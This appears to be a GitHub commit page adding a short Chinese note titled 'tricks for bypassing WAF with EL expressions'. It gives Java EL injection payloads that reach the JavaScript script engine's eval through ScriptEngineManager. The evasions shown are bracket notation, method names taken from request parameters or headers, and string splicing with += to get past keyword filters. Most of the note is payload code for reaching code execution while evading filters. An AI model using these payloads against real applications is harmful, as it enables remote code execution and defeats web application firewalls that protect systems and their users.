Skip to content

Commit 7ba4ba1

Browse files
committed
Create index.md
1 parent 3ff281d commit 7ba4ba1

File tree

1 file changed

+18
-0
lines changed
  • 17.模板引擎+表达式相关/el表达式绕waf的trick

1 file changed

+18
-0
lines changed
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
# el表达式绕waf的trick
2+
3+
在 el 表达式中,可以使用 `a["b"]` 或者 `a.b` 这两种方法来获取属性的
4+
5+
如果把函数名或者属性变成字符串,那去混淆就简单多了,比如 ``` "".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("payload") ```
6+
7+
可以变成 ``` ${""["getClass"]()["forName"]("javax.script.ScriptEngineManager")["newInstance"]()["getEngineByName"]("JavaScript")["eval"]("payload")} ```
8+
9+
同时支持param与header读取
10+
11+
其中每一个字符串都可以使用 `param.xxx` 的参数来替换,或者使用 el 表达式进行拼接转换,比如 ``` ${""["getClass"]()[param.a](param.b)[param.c]()[parm.d](param.e)[param.f](param.g)} ```
12+
13+
以上payload可以使用header做替换```${header['host'] }```
14+
15+
对于关键字过滤也可以使用+=绕过
16+
17+
```${""["getC"+="lass"]()```
18+

0 commit comments

Comments
 (0)